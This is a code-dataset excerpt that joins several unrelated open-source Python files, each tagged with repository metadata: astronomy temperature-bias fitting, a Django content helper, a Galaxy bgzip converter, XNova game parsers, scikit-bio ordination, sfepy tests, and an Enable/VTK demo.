sigma_pdf) plot_posterior = (plot_posterior - medians) * ratio + medians plt.plot(Tvalues, plot_posterior.T, 'b-', alpha=0.05) plt.draw() plt.savefig('Temperature_Correspondence.pdf') return sampler, gp_corrected def check_posterior(df, posterior, Tvalues=np.arange(3000, 6900, 100)): """ Checks the posterior samples: Are 95% of the measurements within 2-sigma of the prediction? :param df: The summary dataframe :param posterior: The MCMC predicted values :param Tvalues: The measured temperatures the posterior was made with :return: boolean, as well as some warning messages if applicable """ # First, make 2-sigma confidence intervals l, m, h = np.percentile(posterior, [5.0, 50.0, 95.0], axis=0) Ntot = [] # The total number of observations with the given measured temperature Nacc = [] # The number that have actual temperatures within the confidence interval g = df.groupby('Temperature') for i, T in enumerate(Tvalues): if T in g.groups.keys(): Ta = g.get_group(T)['Tactual'] low, high = l[i], h[i] Ntot.append(len(Ta)) Nacc.append(len(Ta.loc[(Ta >= low) & (Ta <= high)])) p = float(Nacc[-1]) / float(Ntot[-1]) if p < 0.95: logging.warn( 'Only {}/{} of the samples ({:.2f}%) were accepted for T = {} K'.format(Nacc[-1], Ntot[-1], p * 100, T)) print low, high print sorted(Ta) else: Ntot.append(0) Nacc.append(0) p = float(sum(Nacc)) / float(sum(Ntot)) if p < 0.95: logging.warn('Only {:.2f}% of the total samples were accepted!'.format(p * 100)) return False return True def get_Tmeas(d, include_actual=True): d = d.dropna(subset=['CCF']) corr = d.CCF.values corr += 1.0 - corr.max() T = d.Temperature.values w = corr / corr.sum() Tmeas = np.average(T, weights=w) var_T = np.average((T - Tmeas) ** 2, weights=w) # Get factor to go from biased --> unbiased variance V1 = np.sum(w) V2 = np.sum(w ** 2) f = V1 / (V1 - V2 / V1) # Finally, get the peak significance sig = d['significance'].max() if include_actual: return pd.DataFrame(data={'[Fe/H]': d['[Fe/H]'].values[0], 'logg': d.logg.values[0], 'rv': d.rv.values[0], 'vsini': d.vsini.values[0], 'Tactual': d.Tactual.values[0], 'Tact_err': d.Tact_err.values[0], 'Tmeas': Tmeas, 'Tmeas_err': np.sqrt(f * var_T), 'significance': sig}, index=[0]) else: return pd.DataFrame(data={'[Fe/H]': d['[Fe/H]'].values[0], 'logg': d.logg.values[0], 'rv': d.rv.values[0], 'vsini': d.vsini.values[0], 'Tmeas': Tmeas, 'Tmeas_err': np.sqrt(f * var_T), 'significance': sig}, index=[0]) def get_initial_uncertainty(df): """ Take a dataframe such as one output from get_ccf_summary with N > 1, and get the temperature and initial estimate for the temperature uncertainty. :param df: :return: """ # Get the measured temperature as the weighted average of the temperatures (weight by normalized CCF value) summary = df.groupby(('Primary', 'Secondary')).apply(get_Tmeas).reset_index() return summary class GPFitter(Fitters.Bayesian_LS): def _lnlike(self, pars): """ likelihood function. This uses the class variables for x,y,xerr, and yerr, as well as the 'model' instance. """ y_pred = self.x a, tau = np.exp(pars[:2]) gp = george.GP(a * kernels.ExpSquaredKernel(tau)) gp.compute(self.x, self.yerr) return gp.lnlikelihood(self.y - y_pred) def lnprior(self, pars): lna, lntau = pars[:2] polypars = pars[2:] if -20 < lna < 30 and 0 < lntau < 30: return 0.0 return -np.inf def guess_fit_parameters(self): return [0, 10] def predict(self, x, N=100, highest=False): """ Predict the y value for the given x values. """ if self.sampler is None: logging.warn('Need to run the fit method before predict!') return # Find the N best walkers if N == 'all': N = self.sampler.flatchain.shape[0] else: N = min(N, self.sampler.flatchain.shape[0]) if highest: indices = np.argsort(self.sampler.flatlnprobability)[:N] pars = self.sampler.flatchain[indices] else: pars = self.sampler.flatchain[:N] yvals = [] for i, p in enumerate(pars): logging.info('Generating GP samples for iteration {}/{}'.format(i+1, len(pars))) a, tau = np.exp(p[:2]) gp = george.GP(a * kernels.ExpSquaredKernel(tau)) gp.compute(self.x, self.yerr) s = gp.sample_conditional(self.y - self.x, x) + x yvals.append(s) return np.array(yvals) class ModifiedPolynomial(Fitters.Bayesian_LS): def model(self, p, x): s, m = 10**p[:2] polypars = p[2:] return np.poly1d(polypars)(x) * np.exp(-s*(x-m)**2) + x def guess_fit_parameters(self, fitorder=1): polypars = np.zeros(fitorder + 1) polypars[-2] = 1.0 pars = [-7, 3.5] pars.extend(polypars) min_func = lambda p, xi, yi, yerri: np.sum((yi - self.model(p, xi)) ** 2 / yerri ** 2) best_pars = fmin(min_func, x0=pars, args=(self.x, self.y, self.yerr)) self.guess_pars = best_pars return best_pars def fit_act2tmeas(df, nwalkers=500, n_burn=200, n_prod=500, fitorder=1, fitter_class=None): """ Fit a function to go from actual to measured temperature. Use Bayes' Theorem to get the reverse! :param df: A pandas DataFrame such as one output by get_ccf_summary with N > 1 :param fitorder: The order of the fit :return: """ # Get the measured temperature for each primary/secondary combination summary = get_initial_uncertainty(df) # Get the average and standard deviation of the measured temperature, for a given actual temperature. def get_avg_T(df): Tm = df.Tmeas.values Tm_err = df.Tmeas_err.values w = 1.0 / Tm_err ** 2 w /= w.sum() T_avg = np.average(Tm, weights=w) var_T = np.average((Tm - T_avg) ** 2, weights=w) # Get factor to go from biased --> unbiased variance V1 = np.sum(w) V2 = np.sum(w ** 2) f = V1 / (V1 - V2 / V1) # return Tmeas, np.sqrt(f*var_T) return pd.DataFrame(data={'Tactual': df.Tactual.values[0], 'Tact_err': df.Tact_err.values[0], 'Tmeas': T_avg, 'Tmeas_err': np.sqrt(f * var_T)}, index=[0]) final = summary.groupby('Secondary').apply(get_avg_T).reset_index() # Don't let the error bars get smaller than 50 K final['Tmeas_err'] = np.maximum(final.Tmeas_err, 100.0) # Save the measurement data final[['Tactual', 'Tmeas', 'Tact_err', 'Tmeas_err']].to_csv('Systematics_Data.csv') # Fit to a polynomial with a gaussian process noise model. if fitter_class is None: #fitter = GPFitter(final.Tactual, final.Tmeas, final.Tmeas_err) fitter = ModifiedPolynomial(final.Tactual, final.Tmeas, final.Tmeas_err) else: fitter = fitter_class(final.Tactual, final.Tmeas, final.Tmeas_err) fitter.fit(nwalkers=nwalkers, n_burn=n_burn, n_prod=n_prod, fitorder=fitorder) par_samples = fitter.sampler.flatchain # Plot fig, ax = plt.subplots(1, 1) fig.subplots_adjust(left=0.15, bottom=0.18) ax.errorbar(final.Tactual, final.Tmeas, xerr=final.Tact_err, yerr=final.Tmeas_err, fmt='ko') lim = [3000, 7000] xplot = np.linspace(lim[0], lim[1], 100) ypred = fitter.predict(xplot, N=300) for i in range(ypred.shape[0]): yplot = ypred[i] ax.plot(xplot, yplot, 'b-', alpha=0.03) ax.set_xlabel('Literature Temperature (K)') ax.set_ylabel('Measured Temperature (K)') ax.set_xlim(lim) ax.set_ylim(lim) ax.plot(lim, lim, 'r--') plt.savefig('Tact2Tmeas.pdf') # Now, plot the fractional difference vs Tactual fig2, ax2 = plt.subplots(1, 1) delta = (final.Tmeas - final.Tactual)/final.Tactual delta_var = (final.Tmeas_err/final.Tactual)**2 + (final.Tmeas/final.Tactual**2 * final.Tact_err)**2 ax2.errorbar(final.Tactual, delta, xerr=final.Tact_err, yerr=np.sqrt(delta_var), fmt='ko') for i in range(ypred.shape[0]): #ypred = np.poly1d(par_samples[i])(xplot) del_plot = (ypred[i] - xplot)/xplot ax2.plot(xplot, del_plot, 'b-', alpha=0.03) ax2.set_xlabel('Literature Temperature') ax2.set_ylabel('Fractional Error') lim = ax2.get_xlim() ax2.plot(lim, [0, 0], 'r--') plt.savefig('Tact2Tmeas_Residual.pdf') plt.show() return fitter def get_actual_temperature(fitter, Tmeas, Tmeas_err, cache=None, ret_cache=None, summarize=True): """ Get the actual temperature from the measured temperature :param fitter: a Bayesian_TLS instance which has already been fit :param Tmeas: the measured temperature. Either a float or a numpy array with independent temperatures :param Tmeas_err: uncertainty on the measured temperature. Same shape as Tmeas. :return: posterior samples for the actual temperature """ # First, build up a cache of the MCMC predicted measured temperatures for lots of actual temperatures if cache is None: logging.info('Generating cache...') Ta_arr = np.arange(2000, 10000, 1.0) Tmeas_pred = fitter.predict(Ta_arr, N=10000) cache = pd.DataFrame(Tmeas_pred, columns=Ta_arr) ret_cache = True if ret_cache is None else False del Tmeas_pred # Get the probability of each value in the cache Tmeas = np.atleast_1d(Tmeas).astype(np.float) Tmeas_err = np.atleast_1d(Tmeas_err).astype(np.float) def get_prob(Tm_pred, Tm, Tm_err): return np.exp(-((Tm_pred - Tm) / Tm_err)**2) probs = np.array([get_prob(cache.values, Tm, Tme) for Tm, Tme in zip(Tmeas, Tmeas_err)]) # Get the posterior probability distribution tmp = np.mean(probs, axis=1) tmp /= np.sum(tmp, axis=1)[:, np.newaxis] P = np.prod(tmp, axis=0) # Find the maximum and FWHM of the probabilities #best_T = cache.columns.values[np.argmax(P)] #roots = fwhm(cache.columns.values, P, k=0, ret_roots=True) #h, l = max(roots), min(roots) l, best_T, h = integral(cache.columns.values, P, [0.16, 0.5, 0.84], k=0) print('$T = {}^{{+{}}}_{{-{}}}$'.format(best_T, h-best_T, best_T-l)) # Return the requested things. if ret_cache: if summarize: return best_T, h - best_T, best_T - l, cache return cache.columns.values, P, cache if summarize: return best_T, h - best_T, best_T - l return cache.columns.values, P def correct_measured_temperature(df, fitter, cache=None): """ Given a dataframe such as output by get_ccf_data (with N > 1), correct the temperatures to account for the measurement bias. :param df: A dataframe with the CCF data :param fitter: A Fitters.Bayesian_TLS instance that contains fitted parameters for the measurement bias :param cache: A pandas dataframe that gives MCMC samples of the temperature measurement for various actual temperatures. :return: """ # First, get the measurement values and estimated uncertainty data = get_initial_uncertainty(df) # Make a cache for get_actual_temperature if it is not given. if cache is None: logging.info('Generating cache...') Ta_arr = np.arange(2000, 10000, 1.0) Tmeas_pred = fitter.predict(Ta_arr, N=10000) cache = pd.DataFrame(Tmeas_pred, columns=Ta_arr) # Correct the measured temperatures to account for the bias. out = data.apply(lambda r: get_actual_temperature(fitter, r['Tmeas'], r['Tmeas_err'], cache=cache), axis=1) data['Corrected Temperature'] = out.map(lambda l: l[0]) data['T_uperr'] = out.map(lambda l: l[1]) data['T_lowerr'] = out.map(lambda l: l[2]) return data def get_uncertainty_scalefactor(df): """ Find the factor by which to multiply the 1-sigma measurement uncertainties so that they agree with the literature values 68% of the time. :param df: A pandas DataFrame with corrected temperatures, such as output by correct_measured_temperature :return: The scaling factor. Multiply df['T_uperr'] and df['T_lowerr'] by this to get more realistic uncertainties. """ def get_zscore(x, y, xerr, yerr, f=1.0): delta = x - y sigma = np.sqrt(f * xerr ** 2 + yerr ** 2) return delta / sigma def min_func(f, x, y, xerr, yerr): zscores = get_zscore(x, y, xerr, yerr, f) return (len(zscores[zscores ** 2 > 1]) / float(len(zscores)) - 0.32) ** 2 df['T_err'] = np.minimum(df['T_uperr'], df['T_lowerr']) # Be conservative and use the smaller error. fitresult = minimize_scalar(min_func, bounds=[0, 10], method='bounded', args=(df['Corrected Temperature'], df['Tactual'], df['T_err'], df['Tact_err'])) logging.info('Uncertainty scale factor = {:.2g}'.format(fitresult.x)) return fitresult.x def get_values(df): temp = df.groupby('Temperature') Tmeasured = temp.groups.keys() Tactual_values = [temp.get_group(Tm)['Tactual'].values for Tm in Tmeasured] Tactual = np.array([np.mean(Ta) for Ta in Tactual_values]) spread = np.nan_to_num([np.std(Ta, ddof=1) for Ta in Tactual_values]) literr_values = [temp.get_group(Tm)['Tact_err'].values for Tm in Tmeasured] lit_err = np.array([np.sqrt(np.sum(literr**2)) for literr in literr_values]) return Tmeasured, Tactual, spread, lit_err def integrate_gauss(x1, x2, amp, mean, sigma): """ Integrate a gaussian between the points x1 and x2 """ gauss = lambda x, A, mu, sig: A*np.exp(-(x-mu)**2 / (2.0*sig**2)) if x1 < -1e6: x1 = -np.inf if x2 > 1e6: x2 = np.inf result = quad(gauss, x1, x2, args=(amp, mean, sigma)) return result[0] def get_probability(x1, x2, x3, x4, N, mean, sigma, debug=False): """ Get the probability of the given value of sigma x1-x4 are the four limits, which are the bin edges of the possible values Tactual can take N is the number of entries in the single bin, and mean what it sounds like """ if x2 < 100: x2 = x3 - (x4-x3) if x4 > 1e6: x4 = x3 + (x3-x2) int1 = integrate_gauss(x2, x3, 1.0, mean, sigma) A = float(N) / int1 int2 = 0 if x1 < 100 else integrate_gauss(x1, x2, A, mean, sigma) int3 = 0 if x4 > 1e6 else integrate_gauss(x3, x4, A, mean, sigma) if debug: print('\n') print(x1, x2, x3, x4, N, mean, sigma) print(int1) print(A) print(int2) print(int3) if int2 > 1 or int3 > 1: return 0 return 1 def fit_sigma(df, i): """ Find the largest allowable standard deviation, given the possible values Tactual can take. """ Tmeasured, Tactual, _, _ = get_values(df) Tm = Tmeasured[i] # Get the possible values, and bin those with this measured value possible_values = sorted(pd.unique(df.Tactual)) edges = [(possible_values[i] + possible_values[i+1])/2 for i in range(len(possible_values)-1)] bins = [0] + edges + [9e9] good = df.loc[df.Temperature == Tm] values, _= np.histogram(good.Tactual.values, bins=bins) mean = np.mean(good.Tactual.values) std = np.std(good.Tactual.values, ddof=1) if std > 0: return std sigma_test = np.arange(500, 10, -10) #Just test a bunch of values idx = np.searchsorted(bins, mean) idx = np.argmin(abs(np.array(bins) - mean)) x1 = bins[idx-2] if idx > 2 else -1 x2 = bins[idx-1] x3 = bins[idx] x4 = bins[idx+1] if idx < len(bins)-2 else np.inf N = len(good) probs = [get_probability(x1, x2, x3, x4, N, mean, s) for s in sigma_test] for s, p in zip(sigma_test, probs): if p > 0.5: return s # If we get here, just return a guess value return 200.0 #raise ValueError('No probability > 0!') if __name__ == '__main__': pass
kgullikson88/General
CCF_Systematics.py
Python
gpl-3.0
37,468
[ "Gaussian" ]
f7504f71e392f69467461454c9cf05f7747e784ee047cab874d9d8bc410571f8
import json from django.template.loader import render_to_string import six default_app_config = 'bowtie_content.config.BowtieContentConfig' class BowtieContent(six.text_type): @property def html(self): html = [] if len(self): content = json.loads(self) for block in content['data']: template_name = 'bowtie-content/blocks/%s.html' % block['type'] html.append(render_to_string(template_name, block['data'])) return u''.join(html) custom_blocks_registry = {} def register_block(block, name=None): if name is None: name = block.name custom_blocks_registry[name] = block
django-bowtie/bowtie-content
bowtie_content/__init__.py
Python
mit
679
[ "Bowtie" ]
abd845266aec203059ed5c88f43231a000cd0c4c85828b09d34a34e416d9d13b
#!/usr/bin/env python """ Uses pysam to bgzip a file usage: %prog in_file out_file """ from galaxy import eggs import pkg_resources; pkg_resources.require( "pysam" ) import ctabix, subprocess, tempfile, sys, optparse def main(): # Read options, args. parser = optparse.OptionParser() parser.add_option( '-c', '--chr-col', type='int', dest='chrom_col' ) parser.add_option( '-s', '--start-col', type='int', dest='start_col' ) parser.add_option( '-e', '--end-col', type='int', dest='end_col' ) parser.add_option( '-P', '--preset', dest='preset' ) (options, args) = parser.parse_args() input_fname, output_fname = args tmpfile = tempfile.NamedTemporaryFile() sort_params = None if options.chrom_col and options.start_col and options.end_col: sort_params = ["sort", "-k%(i)s,%(i)s" % { 'i': options.chrom_col }, "-k%(i)i,%(i)in" % { 'i': options.start_col }, "-k%(i)i,%(i)in" % { 'i': options.end_col } ] elif options.preset == "bed": sort_params = ["sort", "-k1,1", "-k2,2n", "-k3,3n"] elif options.preset == "vcf": sort_params = ["sort", "-k1,1", "-k2,2n"] elif options.preset == "gff": sort_params = ["sort", "-s", "-k1,1", "-k4,4n"] # stable sort on start column # Skip any lines starting with "#" and "track" grepped = subprocess.Popen(["grep", "-e", "^\"#\"", "-e", "^track", "-v", input_fname], stderr=subprocess.PIPE, stdout=subprocess.PIPE ) after_sort = subprocess.Popen(sort_params, stdin=grepped.stdout, stderr=subprocess.PIPE, stdout=tmpfile ) grepped.stdout.close() output, err = after_sort.communicate() ctabix.tabix_compress(tmpfile.name, output_fname, force=True) if __name__ == "__main__": main()
mikel-egana-aranguren/SADI-Galaxy-Docker
galaxy-dist/lib/galaxy/datatypes/converters/bgzip.py
Python
gpl-3.0
1,828
[ "Galaxy", "pysam" ]
6b023173d10293233c31593ba17e6a024100fc4d282c69b60269216c40917a2e
#!/usr/bin/python3 import datetime from ui.xnova.xn_page_cache import XNovaPageCache from ui.xnova.xn_parser_overview import OverviewParser from ui.xnova.xn_parser_userinfo import UserInfoParser from ui.xnova.xn_parser_imperium import ImperiumParser from ui.xnova.xn_parser_curplanet import CurPlanetParser from ui.xnova.xn_parser_galaxy import GalaxyParser from ui.xnova.xn_parser_planet_buildings import PlanetBuildingsProgressParser, PlanetBuildingsAvailParser from ui.xnova.xn_parser_shipyard import ShipyardShipsAvailParser, ShipyardBuildsInProgressParser from ui.xnova.xn_parser_research import ResearchAvailParser from ui.xnova.xn_parser_techtree import TechtreeParser from ui.xnova.xn_parser_planet_energy import PlanetEnergyResParser from ui.xnova.xn_parser_fleet import FleetsMaxParser from ui.xnova.xn_logger import get as xn_logger_get logger = xn_logger_get(__name__, debug=True) def main(): cacher = XNovaPageCache() cacher.save_load_encoding = 'UTF-8' # force encoding cacher.load_from_disk_cache(clean=True) # # parse overview content = cacher.get_page('overview') p1 = OverviewParser() p1.parse_page_content(content) server_time = p1.server_time logger.info('Flights follow:') for fl in p1.flights: logger.info(fl) # # parse user info content = cacher.get_page('self_user_info') p2 = UserInfoParser() p2.parse_page_content(content) # # parse imperium p3 = ImperiumParser() content = cacher.get_page('imperium') p3.parse_page_content(content) # # current planet p4 = CurPlanetParser() content = cacher.get_page('overview') # can be almost any page, overview or imperium is fine p4.parse_page_content(content) # # galaxy gp = GalaxyParser() content = cacher.get_page('galaxy_1_7') gp.parse_page_content(content) if gp.script_body != '': gp.unscramble_galaxy_script() logger.info('Galaxy rows follow:') logger.info(gp.galaxy_rows) # # planet buildings pbp = PlanetBuildingsProgressParser() pba = PlanetBuildingsAvailParser() content = cacher.get_page('buildings_57064') # Tama pba.parse_page_content(content) pbp.parse_page_content(content) logger.info('Planet buildings follow:') for ba in pba.builds_avail: logger.info(str(ba)) logger.info('Planet builds in progress follow:') for bp in pbp.builds_in_progress: logger.info(str(bp)) # # planet shipyard content = cacher.get_page('shipyard_57064') # Tama's shipyard psyp = ShipyardBuildsInProgressParser() psyp.server_time = server_time psyp.parse_page_content(content) # planet ships available psap = ShipyardShipsAvailParser() psap.parse_page_content(content) logger.info('Planet ships available follow:') for sa in psap.ships_avail: logger.info(str(sa)) # planet defenses psyp.clear() psyp.server_time = server_time psyp.parse_page_content(cacher.get_page('defense_57064')) # Tama's defenses psap.clear() psap.parse_page_content(cacher.get_page('defense_57064')) # Tama's defenses logger.info('Planet defense available follow:') for sa in psap.ships_avail: logger.info(str(sa)) # # planet researches available content = cacher.get_page('research_57064') # Tama prap = ResearchAvailParser() prap.server_time = server_time prap.parse_page_content(content) logger.info('Planet researches available follow:') for ra in prap.researches_avail: logger.info(str(ra)) # planet factory researches content = cacher.get_page('researchfleet_57064') # Tama prap.clear() prap.server_time = server_time prap.set_parsing_research_fleet(True) prap.parse_page_content(content) logger.info('Planet factory researches available follow:') for ra in prap.researches_avail: logger.info(str(ra)) # # techtree ttp = TechtreeParser() content = cacher.get_page('techtree') ttp.parse_page_content(content) # # planet energy parser test pep = PlanetEnergyResParser() content = cacher.get_page('buildings_82160') # can be any overview, research or shipyard page pep.parse_page_content(content) logger.info('Parsed planet energy status: {0}/{1}'.format(pep.energy_left, pep.energy_total)) # # fllets counter fmp = FleetsMaxParser() content = cacher.get_page('fleet') fmp.parse_page_content(content) logger.info('Fleets: {0}/{1}, Expeditions: {2}/{3}'.format( fmp.fleets_cur, fmp.fleets_max, fmp.expeditions_cur, fmp.expeditions_max)) if __name__ == "__main__": main()
minlexx/xnovacmd
test_parser.py
Python
gpl-2.0
4,689
[ "Galaxy" ]
46b8d372232e24c2a11de9e262066e01a45e3aaf06c6978ca3be2bd49656583d
r""" Ordination methods (:mod:`skbio.stats.ordination`) ================================================== .. currentmodule:: skbio.stats.ordination This module contains several ordination methods, including Principal Coordinate Analysis, Correspondence Analysis, Redundancy Analysis and Canonical Correspondence Analysis. Functions --------- .. autosummary:: :toctree: generated/ ca pcoa cca rda mean_and_std corr scale svd_rank Examples -------- This is an artificial dataset (table 11.3 in [1]_) that represents fish abundance in different sites (`Y`, the response variables) and environmental variables (`X`, the explanatory variables). >>> import numpy as np >>> import pandas as pd First we need to construct our explanatory variable dataset `X`. >>> X = np.array([[1.0, 0.0, 1.0, 0.0], ... [2.0, 0.0, 1.0, 0.0], ... [3.0, 0.0, 1.0, 0.0], ... [4.0, 0.0, 0.0, 1.0], ... [5.0, 1.0, 0.0, 0.0], ... [6.0, 0.0, 0.0, 1.0], ... [7.0, 1.0, 0.0, 0.0], ... [8.0, 0.0, 0.0, 1.0], ... [9.0, 1.0, 0.0, 0.0], ... [10.0, 0.0, 0.0, 1.0]]) >>> transects = ['depth', 'substrate_coral', 'substrate_sand', ... 'substrate_other'] >>> sites = ['site1', 'site2', 'site3', 'site4', 'site5', 'site6', 'site7', ... 'site8', 'site9', 'site10'] >>> X = pd.DataFrame(X, sites, transects) Then we need to create a dataframe with the information about the species observed at different sites. >>> species = ['specie1', 'specie2', 'specie3', 'specie4', 'specie5', ... 'specie6', 'specie7', 'specie8', 'specie9'] >>> Y = np.array([[1, 0, 0, 0, 0, 0, 2, 4, 4], ... [0, 0, 0, 0, 0, 0, 5, 6, 1], ... [0, 1, 0, 0, 0, 0, 0, 2, 3], ... [11, 4, 0, 0, 8, 1, 6, 2, 0], ... [11, 5, 17, 7, 0, 0, 6, 6, 2], ... [9, 6, 0, 0, 6, 2, 10, 1, 4], ... [9, 7, 13, 10, 0, 0, 4, 5, 4], ... [7, 8, 0, 0, 4, 3, 6, 6, 4], ... [7, 9, 10, 13, 0, 0, 6, 2, 0], ... [5, 10, 0, 0, 2, 4, 0, 1, 3]]) >>> Y = pd.DataFrame(Y, sites, species) We can now perform canonical correspondence analysis. Matrix `X` contains a continuous variable (depth) and a categorical one (substrate type) encoded using a one-hot encoding. >>> from skbio.stats.ordination import cca We explicitly need to avoid perfect collinearity, so we'll drop one of the substrate types (the last column of `X`). >>> del X['substrate_other'] >>> ordination_result = cca(Y, X, scaling=2) Exploring the results we see that the first three axes explain about 80% of all the variance. >>> ordination_result.proportion_explained CCA1 0.466911 CCA2 0.238327 CCA3 0.100548 CCA4 0.104937 CCA5 0.044805 CCA6 0.029747 CCA7 0.012631 CCA8 0.001562 CCA9 0.000532 dtype: float64 References ---------- .. [1] Legendre P. and Legendre L. 1998. Numerical Ecology. Elsevier, Amsterdam. """ # ---------------------------------------------------------------------------- # Copyright (c) 2013--, scikit-bio development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. # ---------------------------------------------------------------------------- from skbio.util import TestRunner from ._redundancy_analysis import rda from ._correspondence_analysis import ca from ._canonical_correspondence_analysis import cca from ._principal_coordinate_analysis import pcoa from ._utils import (mean_and_std, scale, svd_rank, corr, e_matrix, f_matrix) __all__ = ['ca', 'rda', 'cca', 'pcoa', 'mean_and_std', 'scale', 'svd_rank', 'corr', 'e_matrix', 'f_matrix'] test = TestRunner(__file__).test
anderspitman/scikit-bio
skbio/stats/ordination/__init__.py
Python
bsd-3-clause
3,853
[ "scikit-bio" ]
53a6f6d6572cad34aa34ddf750da0acc686db7ec7eb3217365addb88193390f4
# c: 14.04.2008, r: 14.04.2008 from __future__ import absolute_import import numpy as nm from sfepy import data_dir filename_mesh = data_dir + '/meshes/2d/square_unit_tri.mesh' def get_pars(ts, coors, mode=None, extra_arg=None, equations=None, term=None, problem=None, **kwargs): if mode == 'special': if extra_arg == 'hello!': ic = 0 else: ic = 1 coors = problem.get_mesh_coors() return {('x_%s' % ic) : coors[:,ic]} def get_p_edge(ts, coors, bc=None, **kwargs): if bc.name == 'p_left': return nm.sin(nm.pi * coors[:,1]) else: return nm.cos(nm.pi * coors[:,1]) def get_u_edge(ts, coors, bc=None, **kwargs): out = nm.zeros_like(coors) out[:, 1] = nm.arange(out.shape[0]) + 1.0 return out def get_circle(coors, domain=None): r = nm.sqrt(coors[:,0]**2.0 + coors[:,1]**2.0) return nm.where(r < 0.2)[0] functions = { 'get_pars1' : (lambda ts, coors, mode=None, **kwargs: get_pars(ts, coors, mode, extra_arg='hello!', **kwargs),), 'get_p_edge' : (get_p_edge,), 'get_u_edge' : (get_u_edge,), 'get_circle' : (get_circle,), } # Just another way of adding a function, besides 'functions' keyword. function_1 = { 'name' : 'get_pars2', 'function' : lambda ts, coors, mode=None, **kwargs: get_pars(ts, coors, mode, extra_arg='hi!', **kwargs), } materials = { 'mf1' : (None, 'get_pars1'), 'mf2' : 'get_pars2', # Dot denotes a special value, that is not propagated to all QP. 'mf3' : ({'a' : 10.0, 'b' : 2.0, '.c' : 'ahoj'},), } fields = { 'pressure' : (nm.float64, 1, 'Omega', 2), 'displacement' : (nm.float64, 2, 'Omega', 2), } variables = { 'p' : ('unknown field', 'pressure', 0), 'q' : ('test field', 'pressure', 'p'), 'u' : ('unknown field', 'displacement', 1), 'v' : ('test field', 'displacement', 'u'), } wx = 0.499 regions = { 'Omega' : 'all', 'Left' : ('vertices in (x < -%.3f)' % wx, 'facet'), 'Right' : ('vertices in (x > %.3f)' % wx, 'facet'), 'Circle' : 'vertices by get_circle', } ebcs = { 'p_left' : ('Left', {'p.all' : 'get_p_edge'}), 'p_right' : ('Right', {'p.all' : 'get_p_edge'}), 'u_right' : ('Right', {'u.all' : 'get_u_edge'}), } equations = { 'e1' : """dw_laplace.2.Omega( mf3.a, q, p ) = 0""", 'e2' : """dw_div_grad.2.Omega( mf3.b, v, u ) = 0""", } solver_0 = { 'name' : 'ls', 'kind' : 'ls.scipy_direct', } solver_1 = { 'name' : 'newton', 'kind' : 'nls.newton', } from sfepy.base.base import assert_ from sfepy.base.testing import TestCommon class Test( TestCommon ): def from_conf( conf, options ): from sfepy.discrete import Problem problem = Problem.from_conf(conf) test = Test(problem = problem, conf = conf, options = options) return test from_conf = staticmethod( from_conf ) def test_material_functions(self): from sfepy.discrete import Material problem = self.problem conf = problem.conf ts = problem.get_default_ts(step=0) conf_mat1 = conf.get_item_by_name('materials', 'mf1') mat1 = Material.from_conf(conf_mat1, problem.functions) mat1.time_update(ts, None, mode='normal', problem=problem) coors = problem.domain.get_mesh_coors() assert_(nm.all(coors[:,0] == mat1.get_data(None, 'x_0'))) conf_mat2 = conf.get_item_by_name('materials', 'mf2') mat2 = Material.from_conf(conf_mat2, problem.functions) mat2.time_update(ts, None, mode='normal', problem=problem) assert_(nm.all(coors[:,1] == mat2.get_data(None, 'x_1'))) materials = problem.get_materials() materials.time_update(ts, problem.equations, mode='normal', problem=problem) mat3 = materials['mf3'] key = mat3.get_keys(region_name='Omega')[0] assert_(nm.all(mat3.get_data(key, 'a') == 10.0)) assert_(nm.all(mat3.get_data(key, 'b') == 2.0)) assert_(mat3.get_data(None, 'c') == 'ahoj') return True def test_ebc_functions(self): import os.path as op problem = self.problem problem.set_equations(self.conf.equations) problem.time_update() state = problem.solve() name = op.join(self.options.out_dir, op.splitext(op.basename(__file__))[0] + '_ebc.vtk') problem.save_state(name, state) ok = True domain = problem.domain vecs = state.get_parts() vec = vecs['p'] iv = domain.regions['Left'].vertices coors = domain.get_mesh_coors()[iv] _ok = self.compare_vectors(vec[iv], nm.sin(nm.pi * coors[:,1]), label1='p_state_left', label2='p_bc_left') ok = _ok and ok iv = domain.regions['Right'].vertices coors = domain.get_mesh_coors()[iv] _ok = self.compare_vectors(vec[iv], nm.cos(nm.pi * coors[:,1]), label1='p_state_right', label2='p_bc_right') ok = _ok and ok vec = vecs['u'] vec.shape = (-1, 2) ok = self.compare_vectors(vec[iv, 0], nm.zeros(len(iv)), label1='u_0_state_right', label2='u_0_bc_right') ok = _ok and ok ok = self.compare_vectors(vec[iv, 1], nm.arange(len(iv)) + 1.0, label1='u_1_state_right', label2='u_1_bc_right') ok = _ok and ok return ok def test_region_functions(self): import os.path as op problem = self.problem name = op.join(self.options.out_dir, op.splitext(op.basename(__file__))[0]) problem.save_regions(name, ['Circle']) return True
lokik/sfepy
tests/test_functions.py
Python
bsd-3-clause
5,962
[ "VTK" ]
93a54e540d0a838106b40703c8ba9e5473e894c612928d395716f5af313dbee9
from tvtk.api import tvtk from mayavi import mlab from enable.vtk_backend.vtk_window import EnableVTKWindow def main(): from basic_move import Box from enable.api import Container container = Container() box = Box(bounds=[30,30], position=[20,20], padding=5) container.add(box) # Create the mlab test mesh and get references to various parts of the # VTK pipeline m = mlab.test_mesh() scene = mlab.gcf().scene render_window = scene.render_window renderer = scene.renderer rwi = scene.interactor # Create the Enable Window window = EnableVTKWindow(rwi, renderer, component=container, #istyle_class = tvtk.InteractorStyleSwitch, istyle_class = tvtk.InteractorStyle, resizable = "v", bounds = [100, 100], padding_top = 20, padding_bottom = 20, padding_left = 20, ) #rwi.render() #rwi.start() mlab.show() return window, render_window if __name__=="__main__": main()
tommy-u/enable
examples/enable/vtk_example.py
Python
bsd-3-clause
1,051
[ "Mayavi", "VTK" ]
99575ce8443a3cbb8704ccabdde80e89b25df980eff6b4454a07701da81eb60d
